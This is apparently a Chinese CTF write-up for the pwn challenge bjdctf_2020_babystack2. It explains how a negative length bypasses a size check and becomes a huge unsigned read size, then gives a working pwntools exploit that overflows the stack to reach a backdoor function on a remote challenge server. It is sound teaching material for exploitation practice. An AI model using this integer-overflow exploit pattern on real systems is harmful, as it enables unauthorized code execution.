bjdctf_2020_babystack2
检查一下
拖入ida查看
第16行让我们输入一个数字存入nbytes
第17行控制我们输入的数字必须小于等于10
然后后面read()函数的读取长度由被强转为无符号整数的nbytes
这里就是我们的漏洞点,因为前面输入没有控制不能输入负数
负数被强转为无符号整数时,会转变成一个极大的数字(通常是4294967295,即十六进制的0xFFFFFFFF)
这样我们就能实现栈溢出了
再查找函数列表,发现有backdoor函数
from pwn import * context(arch = 'amd64',os = 'linux',log_level = 'debug') io = remote('node5.buuoj.cn',26929) offset = 0x10 + 8 back_door_addr = 0x400726 payload = cyclic(offset) + p64(back_door_addr) io.sendlineafter(b"[+]Please input the length of your name:","-1") io.sendlineafter(b"[+]What's u name?",payload) io.interactive()成功获取flag
